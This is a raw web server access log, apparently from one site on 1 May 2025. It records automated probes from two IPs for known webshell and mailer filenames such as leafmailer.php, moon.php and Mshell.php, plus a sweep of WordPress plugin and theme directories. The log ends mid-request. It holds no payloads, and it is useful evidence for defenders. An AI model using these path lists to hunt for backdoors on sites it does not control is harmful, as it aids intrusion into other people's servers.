[01/May/2025:15:12:46 -0400] "GET /leaf_mailer.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:12:53 -0400] "GET /leaf_php.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:12:55 -0400] "GET /leafmailer.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:12:57 -0400] "GET /leafmailer2.8.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:13:00 -0400] "GET /images/leaf.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:13:11 -0400] "GET /images/leafmailer.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:13:22 -0400] "GET /images/leafmailer2.8.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:13:27 -0400] "GET /wp-admin/css/colors/coffee/leaf.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:13:32 -0400] "GET /wp-admin/css/leafmailer.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:13:34 -0400] "GET /wp-admin/includes/leaf.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:13:42 -0400] "GET /wp-admin/includes/leafmailer.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:13:45 -0400] "GET /wp-admin/leaf.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:13:47 -0400] "GET /wp-admin/leafmailer.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:13:53 -0400] "GET /wp-admin/leafmailer2.8.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:14:00 -0400] "GET /wp-admin/maint/leaf.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:14:03 -0400] "GET /wp-content/leaf.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:14:09 -0400] "GET /wp-content/leafmailer.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:14:13 -0400] "GET /wp-content/leafmailer2.8.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:14:18 -0400] "GET /wp-includes/leaf.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:14:23 -0400] "GET /wp-includes/leafmailer.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:14:26 -0400] "GET /wp-admin/css/colors/coffee/palka_m.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:14:29 -0400] "GET /palka_m.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:14:31 -0400] "GET /wp-admin/css/colors/coffee/XXxxX.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:14:48 -0400] "GET /XXxxX.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:15:13 -0400] "GET /S.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:15:16 -0400] "GET /8.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:15:22 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:15:27 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:15:30 -0400] "GET /api.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:15:36 -0400] "GET /wp-admin/network/moon.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:15:41 -0400] "GET /wp-includes/IXR/moon.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:15:49 -0400] "GET /wp-admin/includes/moon.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:15:52 -0400] "GET /moon.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:15:54 -0400] "GET /includes/certificates/moon.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:16:00 -0400] "GET /wp-includes/ID3/moon.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:16:02 -0400] "GET /wp-admin/maint/moon.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:16:03 -0400] "GET /wp-admin/js/widgets/moon.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:16:06 -0400] "GET /wp-content/upgrade/moon.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:16:08 -0400] "GET /wp-admin/user/moon.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:16:11 -0400] "GET /cgi-bin/moon.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:16:12 -0400] "GET /wp-content/plugins/moon.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:16:17 -0400] "GET /wp-admin/images/moon.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:16:23 -0400] "GET /.well-known/acme-challenge/moon.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:16:25 -0400] "GET /.tmb/moon.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:16:28 -0400] "GET /cjfuns.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:16:34 -0400] "GET /Mshell.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:16:35 -0400] "GET /M1.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:16:44 -0400] "GET /defaul1.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:16:47 -0400] "GET /wp-admin/css/colors/blue/defaul1.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 41.250.4.130 - - [01/May/2025:15:16:56 -0400] "GET /chosen.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 52.164.245.163 - - [01/May/2025:15:43:47 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:43:48 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:43:49 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:43:50 -0400] "GET /sim.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:43:50 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:43:51 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:43:52 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:43:53 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:43:54 -0400] "GET /wp-admin/users.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:43:55 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:43:56 -0400] "GET /wp-content/uploads/cong.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:43:56 -0400] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:43:57 -0400] "GET /wp-setting.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:43:58 -0400] "GET /wp-content/themes/alera/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:00 -0400] "GET /wp-content/plugins/elementor/assets/images/app/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:01 -0400] "GET /wp-comments-pos.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:02 -0400] "GET /wp-content/themes/ripro/inc/admin/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:02 -0400] "GET /wp-includes/l10n/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:04 -0400] "GET /index/b/home/h213348220/fundlead.ru/docs/wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:04 -0400] "GET /wp-includes/blocks/archives/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:05 -0400] "GET /wp-includes/sodium_compat/namespaced/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:06 -0400] "GET /wp-includes/blocks/latest-comments/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:06 -0400] "GET /wp-content/plugins/woocommerce/assets/client/blocks/products-by-attribute/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:07 -0400] "GET /wp-content/uploads/2023/03/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:08 -0400] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:09 -0400] "GET /Content/UserFiles/News/Orjinal/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:10 -0400] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:11 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:12 -0400] "GET /templates/p/snippets/g8ofh3h3db/raw/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:13 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:14 -0400] "GET /wp-content/plugins/elementor/assets/images/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:15 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:17 -0400] "GET /wp-link.php/wp-content/plugins/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:18 -0400] "GET /wp-cro.php/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:18 -0400] "GET /wp-includes/Requests/abou.php/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:19 -0400] "GET /wordpress/wp-includes/js/mediaelement/renderers/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:20 -0400] "GET /wp-content/plugins/oxygen/component-framework/components/classes/gallery/photoswipe/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:21 -0400] "GET /map.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:22 -0400] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:23 -0400] "GET /wp-content/plugins/elementor-pro/modules/woocommerce/skins/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:25 -0400] "GET /wp-content/plugins/seo-by-rank-math/vendor/woocommerce/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:25 -0400] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:26 -0400] "GET /wp-content/plugins/ultimate-addons-for-gutenberg/blocks-config/uagb-controls/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:27 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:27 -0400] "GET /wp-content/themes/twenty/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:28 -0400] "GET /wp-includes/js/tinymce/themes/inlite/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:30 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:31 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:34 -0400] "GET /newlms/assets/frontend/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:35 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:36 -0400] "GET /wp-content/plugins/shell/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:37 -0400] "GET /wp-content/themes/blocksy/static/sass/frontend/6-layout/entries/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:38 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:39 -0400] "GET /wp-includes/Requests/abou.php/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:40 -0400] "GET /wp/wp-content/themes/twentytwenty/template-parts/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:41 -0400] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:41 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:42 -0400] "GET /wp-content/plugins/erinyani/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:43 -0400] "GET /wp-content/plugins/wordpress-seo/vendor_prefixed/symfony/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:43 -0400] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:44 -0400] "GET /.well-known/acme-challenge/action=./ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:45 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:45 -0400] "GET /vendor/symfony/serializer/Mapping/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:46 -0400] "GET /wp-content/themes/blocksy/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:47 -0400] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:47 -0400] "GET /assets/admin/plugins/ckeditor/plugins/scayt/dialogs/dialogs/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:48 -0400] "GET /wp-includes/interactivity-api/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:48 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:49 -0400] "GET /wp-includes/js/tinymce/plugins/image/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:50 -0400] "GET /wp-includes/Requests/Response/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:51 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:51 -0400] "GET /files/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:52 -0400] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:53 -0400] "GET /wp-includes/SimplePie/HTTP/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:53 -0400] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:54 -0400] "GET /wp-content/plugins/woocommerce/includes/gateways/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:55 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:55 -0400] "GET /wp-content/fonts//wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:56 -0400] "GET /images/icons/rouyg/hppd/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:56 -0400] "GET /wp-includes/blocks/freeform/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:57 -0400] "GET /wp-content/plugins/insert-headers-and-footers/includes/auto-insert/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:58 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:44:59 -0400] "GET /wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:00 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:01 -0400] "GET /wp-includesmaps/p/snippets/g8ofh3h3db/raw/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:03 -0400] "GET /wp-content/plugins/file-manager-advanced/application/library/codemirror/mode/jsx/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:04 -0400] "GET /templates/ja_purity/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:06 -0400] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:09 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:10 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:12 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:13 -0400] "GET /wp-content/plugins/generateblocks/src/components/unit-picker/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:15 -0400] "GET /wp-includesmaps/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:16 -0400] "GET /wp-include.php HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:17 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:18 -0400] "GET /sos/NewTheme/images/VillagesPictures/Dhodial/Dhodial/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:18 -0400] "GET /wp-includes/css/dist/block-library/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:19 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:21 -0400] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "-" 52.164.245.163 - - [01/May/2025:15:45:22 -0400] "GET 